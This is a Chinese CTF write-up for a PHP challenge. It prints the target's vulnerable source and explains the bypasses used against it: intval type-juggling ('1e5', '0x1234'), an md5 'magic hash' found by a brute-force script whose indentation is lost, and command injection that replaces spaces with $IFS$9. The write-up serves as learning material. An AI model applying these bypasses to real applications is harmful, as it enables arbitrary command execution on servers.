这题还是不难的,自己太菜了。。。做了1个小时才做出来,主要还是对这些php本身的漏洞不太熟悉,导致浪费了很长时间
首先进入环境,试试robots.txt,发现了fAke_f1agggg.php,访问这个文件,在响应头里面发现了fl4g.php,再访问一下就得到源码了:
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
主要利用的就是intval的漏洞,真是服了php的函数为什么洞这么多,草:
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
?>
绕过的姿势也挺多的,比如利用1e5这样的字符串,直接intval返回的是e前面的,但是+1再转intval就变成了100001。
还有个大师傅是这样的:
var_dump(intval('0x1')); # int(0)
var_dump(intval('0x1'+1)); #int(2)
?>
?num=0x1234
同样可以。
主要就是绕这个了:
if ($md5==md5($md5))
我去网上找找有没有现成了值,没找到,就自己写了个不需要用脑子的脚本跑了一下:
import hashlib
v0='0e'
for v1 in '0123456789':
for v2 in '0123456789':
for v3 in '0123456789':
for v4 in '0123456789':
for v5 in '0123456789':
for v6 in '0123456789':
for v7 in '0123456789':
for v8 in '0123456789':
for v9 in '0123456789':
for v10 in '0123456789':
for v11 in '0123456789':
for v12 in '0123456789':
for v13 in '0123456789':
v = v0+v1 + v2 + v3 + v4 + v5 + v6+v7+v8+v9+v10+v11+v12+v13
m = hashlib.md5()
m.update(v.encode("utf-8"))
n = m.hexdigest()
if n[0:2] == '0e' and n[2:].isdigit():
print(v)
然后跑了个0e0000010750432,传进去就可以了。
就是简单的命令执行过滤了空格,用$IFS$9
之类的绕一下空格就可以随便执行命令了,然后成功得到flag。